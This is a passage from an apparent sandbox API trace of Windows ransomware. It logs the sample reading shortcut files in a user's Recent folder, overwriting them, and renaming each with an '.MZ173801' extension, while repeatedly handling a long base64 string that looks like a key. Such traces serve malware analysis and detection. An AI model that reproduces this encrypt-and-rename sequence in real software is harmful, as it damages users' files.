"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ks3gsrbhimqpf.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.516] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.516] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.516] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x401 [0121.516] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.516] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x401, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x401, lpOverlapped=0x0) returned 1 [0121.517] CloseHandle (hObject=0x288) returned 1 [0121.517] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kS3GSrBHiMqpF.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ks3gsrbhimqpf.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.518] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x401, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x401, lpOverlapped=0x0) returned 1 [0121.520] CloseHandle (hObject=0x288) returned 1 [0121.521] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kS3GSrBHiMqpF.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ks3gsrbhimqpf.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kS3GSrBHiMqpF.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ks3gsrbhimqpf.lnk.mz173801")) returned 1 [0121.522] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf2b1a00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf2b1a00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf2b1a00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="KZAd5Ss.lnk", cAlternateFileName="")) returned 1 [0121.522] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.522] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.522] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KZAd5Ss.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kzad5ss.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf2b1a00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf2b1a00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf2b1a00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa16)) returned 1 [0121.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.525] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KZAd5Ss.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kzad5ss.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.525] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.525] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.525] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xa16 [0121.525] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.525] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa16, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xa16, lpOverlapped=0x0) returned 1 [0121.526] CloseHandle (hObject=0x288) returned 1 [0121.526] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KZAd5Ss.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kzad5ss.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.527] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa16, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xa16, lpOverlapped=0x0) returned 1 [0121.528] CloseHandle (hObject=0x288) returned 1 [0121.529] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KZAd5Ss.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kzad5ss.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KZAd5Ss.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\kzad5ss.lnk.mz173801")) returned 1 [0121.530] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddb56220, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xddb56220, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddb56220, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="l06dSkIuNpZzb6PM.lnk", cAlternateFileName="L06DSK~1.LNK")) returned 1 [0121.530] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.530] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.530] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l06dSkIuNpZzb6PM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\l06dskiunpzzb6pm.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddb56220, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xddb56220, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddb56220, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1498)) returned 1 [0121.531] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0N